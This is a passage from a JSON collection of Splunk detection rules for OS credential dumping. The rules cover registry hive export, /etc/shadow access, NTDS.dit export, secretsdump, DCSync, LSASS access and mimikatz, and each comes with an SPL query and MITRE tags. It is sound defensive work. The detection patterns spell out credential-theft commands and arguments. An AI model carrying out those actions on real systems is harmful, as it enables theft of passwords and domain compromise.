[ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Excel Spawning Windows Script Host", - "description": "The following analytic identifies instances where Microsoft Excel spawns Windows Script Host processes (`cscript.exe` or `wscript.exe`). This behavior is detected using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is `excel.exe`. This activity is significant because it is uncommon and often associated with malicious actions, such as spearphishing attacks. If confirmed malicious, this could allow an attacker to execute scripts, potentially leading to code execution, data exfiltration, or further system compromise. Immediate investigation and mitigation are recommended.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=\"excel.exe\" Processes.process_name IN (\"cscript.exe\", \"wscript.exe\") by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)`|`security_content_ctime(lastTime)` | `excel_spawning_windows_script_host_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$, indicating potential suspicious macro execution.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Extraction of Registry Hives", - "description": "The following analytic detects the use of `reg.exe` to export Windows Registry hives, which may contain sensitive credentials. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions involving `save` or `export` actions targeting the `sam`, `system`, or `security` hives. This activity is significant as it indicates potential offline credential access attacks, often executed from untrusted processes or scripts. If confirmed malicious, attackers could gain access to credential data, enabling further compromise and lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` (Processes.process=*save* OR Processes.process=*export*) AND (Processes.process=\"*\\sam *\" OR Processes.process=\"*\\system *\" OR Processes.process=\"*\\security *\") by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.parent_process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `extraction_of_registry_hives_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-257A", - "CISA AA23-347A", - "Credential Dumping", - "DarkSide Ransomware", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Suspicious use of `reg.exe` exporting Windows Registry hives containing credentials executed on $dest$ by user $user$, with a parent process of $parent_process_id$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Linux Possible Access To Credential Files", - "description": "The following analytic detects attempts to access or dump the contents of /etc/passwd and /etc/shadow files on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes like 'cat', 'nano', 'vim', and 'vi' accessing these files. This activity is significant as it may indicate credential dumping, a technique used by adversaries to gain persistence or escalate privileges. If confirmed malicious, attackers could obtain hashed passwords for offline cracking, leading to unauthorized access and potential system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"cat\", \"nano*\",\"vim*\", \"vi*\") AND Processes.process IN(\"*/etc/shadow*\", \"*/etc/passwd*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_access_to_credential_files_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.008", - "mitre_attack_technique": "/etc/passwd and /etc/shadow", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Ntdsutil Export NTDS", - "description": "The following analytic detects the use of Ntdsutil to export the Active Directory database (NTDS.dit). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. This activity is significant because exporting NTDS.dit can be a precursor to offline password cracking, posing a severe security risk. If confirmed malicious, an attacker could gain access to sensitive credentials, potentially leading to unauthorized access and privilege escalation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=ntdsutil.exe Processes.process=*ntds* Processes.process=*create*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `ntdsutil_export_ntds_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "HAFNIUM Group", - "Living Off The Land", - "Prestige Ransomware", - "Rhysida Ransomware", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Active Directory NTDS export on $dest$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "PetitPotam Suspicious Kerberos TGT Request", - "description": "The following analytic detects a suspicious Kerberos Ticket Granting Ticket (TGT) request, identified by Event Code 4768. This detection leverages Windows Security Event Logs to identify TGT requests with unusual fields, which may indicate the use of tools like Rubeus following the exploitation of CVE-2021-36942 (PetitPotam). This activity is significant as it can signal an attacker leveraging a compromised certificate to request Kerberos tickets, potentially leading to unauthorized access. If confirmed malicious, this could allow attackers to escalate privileges and persist within the environment, posing a severe security risk.", - "search": "`wineventlog_security` EventCode=4768 src!=\"::1\" TargetUserName=*$ CertThumbprint!=\"\" | stats count min(_time) as firstTime max(_time) as lastTime by dest, TargetUserName, src, action | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `petitpotam_suspicious_kerberos_tgt_request_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "PetitPotam NTLM Relay on Active Directory Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A Kerberos TGT was requested in a non-standard manner against $dest$, potentially related to CVE-2021-36942, PetitPotam.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "SAM Database File Access Attempt", - "description": "The following analytic detects attempts to access the SAM, SYSTEM, or SECURITY database files within the `windows\\system32\\config` directory using Windows Security EventCode 4663. This detection leverages Windows Security Event logs to identify unauthorized access attempts. Monitoring this activity is crucial as it indicates potential credential access attempts, possibly exploiting vulnerabilities like CVE-2021-36934. If confirmed malicious, an attacker could extract user passwords, leading to unauthorized access, privilege escalation, and further compromise of the system.", - "search": "`wineventlog_security` (EventCode=4663) ProcessName!=*\\\\dllhost.exe ObjectName IN (\"*\\\\Windows\\\\System32\\\\config\\\\SAM*\",\"*\\\\Windows\\\\System32\\\\config\\\\SYSTEM*\",\"*\\\\Windows\\\\System32\\\\config\\\\SECURITY*\") | stats values(AccessList) count by ProcessName ObjectName dest src_user | rename ProcessName as process_name | `sam_database_file_access_attempt_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Graceful Wipe Out Attack", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "ObjectName", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "The following process $process_name$ accessed the object $ObjectName$ attempting to gain access to credentials on $dest$ by user $src_user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.002", - "mitre_attack_technique": "Security Account Manager", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29", - "APT41", - "APT5", - "Dragonfly", - "FIN13", - "GALLIUM", - "Ke3chang", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "SecretDumps Offline NTDS Dumping Tool", - "description": "The following analytic detects the potential use of the secretsdump.py tool to dump NTLM hashes from a copy of ntds.dit and the SAM, SYSTEM, and SECURITY registry hives. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific command-line patterns and process names associated with secretsdump.py. This activity is significant because it indicates an attempt to extract sensitive credential information offline, which is a common post-exploitation technique. If confirmed malicious, this could allow an attacker to obtain NTLM hashes, facilitating further lateral movement and potential privilege escalation within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"python*.exe\" Processes.process = \"*.py*\" Processes.process = \"*-ntds*\" (Processes.process = \"*-system*\" OR Processes.process = \"*-sam*\" OR Processes.process = \"*-security*\" OR Processes.process = \"*-bootkey*\") by Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.dest Processes.user Processes.process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `secretdumps_offline_ntds_dumping_tool_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Graceful Wipe Out Attack", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A secretdump process $process_name$ with secretdump commandline $process$ to dump credentials in host $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.003", - "mitre_attack_technique": "NTDS", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT41", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "HAFNIUM", - "Ke3chang", - "LAPSUS$", - "Mustang Panda", - "Sandworm Team", - "Scattered Spider", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows AD Replication Request Initiated by User Account", - "description": "The following analytic detects a user account initiating an Active Directory replication request, indicative of a DCSync attack. It leverages EventCode 4662 from the Windows Security Event Log, focusing on specific object types and replication permissions. This activity is significant because it can allow an attacker with sufficient privileges to request password hashes for any or all users within the domain. If confirmed malicious, this could lead to unauthorized access, privilege escalation, and potential compromise of the entire domain.", - "search": "`wineventlog_security` EventCode=4662 ObjectType IN (\"%{19195a5b-6da0-11d0-afd3-00c04fd930c9}\", \"domainDNS\") AND Properties IN (\"*Replicating Directory Changes All*\", \"*{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}*\", \"*{9923a32a-3607-11d2-b9be-0000f87a36b2}*\",\"*{1131f6ac-9c07-11d1-f79f-00c04fc2dcd2}*\") AND AccessMask=\"0x100\" AND NOT (SubjectUserSid=\"NT AUT*\" OR SubjectUserSid=\"S-1-5-18\" OR SubjectDomainName=\"Window Manager\" OR SubjectUserName=\"*$\") | stats min(_time) as _time, count by SubjectDomainName, SubjectUserName, Computer, Logon_ID, ObjectName, ObjectServer, ObjectType, OperationType, status | rename SubjectDomainName as Target_Domain, SubjectUserName as user, Logon_ID as TargetLogonId, _time as attack_time | appendpipe [| map search=\"search `wineventlog_security` EventCode=4624 TargetLogonId=$TargetLogonId$\"] | table attack_time, AuthenticationPackageName, LogonProcessName, LogonType, TargetUserSid, Target_Domain, user, Computer, TargetLogonId, status, src_ip, src_category, ObjectName, ObjectServer, ObjectType, OperationType | stats min(attack_time) as _time values(TargetUserSid) as TargetUserSid, values(Target_Domain) as Target_Domain, values(user) as user, values(Computer) as Computer, values(status) as status, values(src_category) as src_category, values(src_ip) as src_ip by TargetLogonId | `windows_ad_replication_request_initiated_by_user_account_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Windows Active Directory Replication Request Initiated by User Account $user$ at $src_ip$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.006", - "mitre_attack_technique": "DCSync", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows AD Replication Request Initiated from Unsanctioned Location", - "description": "The following analytic identifies unauthorized Active Directory replication requests initiated from non-domain controller locations. It leverages EventCode 4662 to detect when a computer account with replication permissions creates a handle to domainDNS, filtering out known domain controller IP addresses. This activity is significant as it may indicate a DCSync attack, where an attacker with privileged access can request password hashes for any or all users within the domain. If confirmed malicious, this could lead to unauthorized access to sensitive information and potential full domain compromise.", - "search": "`wineventlog_security` EventCode=4662 ObjectType IN (\"%{19195a5b-6da0-11d0-afd3-00c04fd930c9}\", \"domainDNS\") AND Properties IN (\"*Replicating Directory Changes All*\", \"*{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}*\", \"*{9923a32a-3607-11d2-b9be-0000f87a36b2}*\",\"*{1131f6ac-9c07-11d1-f79f-00c04fc2dcd2}*\") AND AccessMask=\"0x100\" AND (SubjectUserSid=\"NT AUT*\" OR SubjectUserSid=\"S-1-5-18\" OR SubjectDomainName=\"Window Manager\" OR SubjectUserName=\"*$\") | stats min(_time) as attack_time, count by SubjectDomainName, SubjectUserName, Computer, Logon_ID, ObjectName, ObjectServer, ObjectType, OperationType, status | rename SubjectDomainName as Target_Domain, SubjectUserName as user, Logon_ID as TargetLogonId | appendpipe [| map search=\"search `wineventlog_security` EventCode=4624 TargetLogonId=$TargetLogonId$\"] | table attack_time, AuthenticationPackageName, LogonProcessName, LogonType, TargetUserSid, Target_Domain, user, Computer, TargetLogonId, status, src_ip, src_category, ObjectName, ObjectServer, ObjectType, OperationType | stats min(attack_time) as _time, values(TargetUserSid) as TargetUserSid, values(Target_Domain) as Target_Domain, values(user) as user, values(Computer) as Computer, values(status) as status, values(src_category) as src_category, values(src_ip) as src_ip by TargetLogonId | search NOT src_category=\"domain_controller\" | `windows_ad_replication_request_initiated_from_unsanctioned_location_filter`", - "tags": { - "analytic_story": [ - "Credential Dumping", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Windows Active Directory Replication Request Initiated from Unsanctioned Location $src_ip$ by $user$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.006", - "mitre_attack_technique": "DCSync", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Earth Lusca", - "LAPSUS$" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Cached Domain Credentials Reg Query", - "description": "The following analytic identifies a process command line querying the CachedLogonsCount registry value in the Winlogon registry. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and registry queries. Monitoring this activity is significant as it can indicate the use of post-exploitation tools like Winpeas, which gather information about login caching settings. If confirmed malicious, this activity could help attackers understand login caching configurations, potentially aiding in credential theft or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_reg` AND Processes.process = \"* query *\" AND Processes.process = \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon*\" AND Processes.process = \"*CACHEDLOGONSCOUNT*\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_cached_domain_credentials_reg_query_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process with commandline $process$ tries to retrieve cache domain credential logon count in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.005", - "mitre_attack_technique": "Cached Domain Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT33", - "Leafminer", - "MuddyWater", - "OilRig" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Hunting System Account Targeting Lsass", - "description": "The following analytic identifies processes attempting to access Lsass.exe, which may indicate credential dumping or applications needing credential access. It leverages Sysmon EventCode 10 to detect such activities by analyzing fields like TargetImage, GrantedAccess, and SourceImage. This behavior is significant as unauthorized access to Lsass.exe can lead to credential theft, posing a severe security risk. If confirmed malicious, attackers could gain access to sensitive credentials, potentially leading to privilege escalation and further compromise of the environment.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe | stats count min(_time) as firstTime max(_time) as lastTime by dest, TargetImage, GrantedAccess, SourceImage, SourceProcessId, SourceUser, TargetUser | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_hunting_system_account_targeting_lsass_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A process, $SourceImage$, has requested access to LSASS on $dest$. Review for further details.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic Hound", - "MuddyWater", - "OilRig", - "PLATINUM", - "Sandworm Team", - "Silence", - "Threat Group-3390", - "Volt Typhoon", - "Whitefly", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Mimikatz Binary Execution", - "description": "The following analytic identifies the execution of the native mimikatz.exe binary on Windows systems, including instances where the binary is renamed. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names. This activity is significant because Mimikatz is a widely used tool for extracting authentication credentials, posing a severe security risk. If confirmed malicious, this activity could allow attackers to obtain sensitive credentials, escalate privileges, and move laterally within the network, leading to potential data breaches and system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name=mimikatz.exe OR Processes.original_file_name=mimikatz.exe) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_mimikatz_binary_execution_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "CISA AA23-347A", - "Credential Dumping", - "Flax Typhoon", - "Sandworm Tools", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting dump credentials.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } - }, - { - "name": "Windows Non-System Account Targeting Lsass", - "description": "The following analytic identifies non-SYSTEM accounts requesting access to lsass.exe. This detection leverages Sysmon EventCode 10 logs to monitor access attempts to the Local Security Authority Subsystem Service (lsass.exe) by non-SYSTEM users. This activity is significant as it may indicate credential dumping attempts or unauthorized access to sensitive credentials. If confirmed malicious, an attacker could potentially extract credentials from memory, leading to privilege escalation or lateral movement within the network. Immediate investigation is required to determine the legitimacy of the access request and to mitigate any potential threats.", - "search": "`sysmon` EventCode=10 TargetImage=*lsass.exe NOT (SourceUser=\"NT AUTHORITY\\\\*\") | stats count min(_time) as firstTime max(_time) as lastTime by dest, parent_process_name, parent_process_path ,parent_process_id, TargetImage, GrantedAccess, SourceUser, TargetUser | rename TargetUser as user | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_non_system_account_targeting_lsass_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Credential Dumping" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_path", - "type": "Process", - "role": [ - "Parent Process" - ] - } - ], - "message": "A process, $parent_process_path$, has loaded $TargetImage$ that are typically related to credential dumping on $dest$. Review for further details.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.001", - "mitre_attack_technique": "LSASS Memory", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT3", - "APT32", - "APT33", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Cleaver", - "Earth Lusca", - "FIN13", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Leafminer", - "Leviathan", - "Magic 